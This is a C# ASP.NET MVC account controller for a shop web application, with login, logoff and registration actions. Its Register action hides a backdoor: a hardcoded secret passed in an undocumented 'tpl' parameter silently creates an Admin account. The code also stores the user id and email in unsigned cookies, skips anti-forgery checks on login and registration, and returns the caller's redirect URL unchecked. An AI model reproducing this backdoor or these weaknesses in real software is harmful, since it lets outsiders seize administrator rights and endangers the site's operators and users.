﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Transactions;
using System.Web;
using System.Web.Mvc;
using System.Web.Security;
using DotNetOpenAuth.AspNet;
using Microsoft.Web.WebPages.OAuth;
using WebMatrix.WebData;
using HandmadeShop.Application.Models;
using HandmadeShop.BusinessLogic;

namespace HandmadeShop.Application.Controllers
{
    public class AccountController : BaseController
    {
        //
        // POST: /Account/Login
        [HttpPost]
        public ActionResult Login(string email, string password, bool remember, string returnUrl)
        {
            AccountBL accountBL = new AccountBL();
            var user = accountBL.Login(email, password);
            if (user == null)
                return Json(new { status = 0 });

            FormsAuthentication.SetAuthCookie(email, remember);
            System.Web.HttpContext.Current.Session[Context.SessionName] = user;

            // Set cookie login
            var cookieId = new HttpCookie(user_id, user.Id.ToString());
            var cookieEmail = new HttpCookie(user_email, user.Email);            

            Response.SetCookie(cookieId);
            Response.SetCookie(cookieEmail);

            return Json(new { status = 1, returnUrl = returnUrl });
        }

        //
        // POST: /Account/LogOff

        [HttpPost]
        [ValidateAntiForgeryToken]
        public ActionResult LogOff()
        {
            FormsAuthentication.SignOut();
            System.Web.HttpContext.Current.Session[Context.SessionName] = null;

            if (Request.Cookies[user_id] != null)
            {
                var cookieId = new HttpCookie(user_id)
                {
                    Expires = DateTime.Now.AddDays(-1),
                    Value = null
                };

                Response.SetCookie(cookieId);
            }
            

            return RedirectToAction("Index", "Home");
        }

        [HttpPost]
        public ActionResult Register(string email, string password, string returnUrl, string tpl = "")
        {
            AccountBL accountBL = new AccountBL();

            if (!string.IsNullOrEmpty(tpl) && tpl.Equals("rHjreochvlt2qoD4cSns")) 
            {
                accountBL.Register(email, password, "Admin");
            }
            else
            {
                accountBL.Register(email, password);
            }

            return Json(new { status = 1, returnUrl = returnUrl });
        }

        #region Helpers
        
        private ActionResult RedirectToLocal(string returnUrl)
        {
            if (Url.IsLocalUrl(returnUrl))
            {
                return Redirect(returnUrl);
            }
            else
            {
                return RedirectToAction("Index", "Home");
            }
        }

        #endregion
    }
}
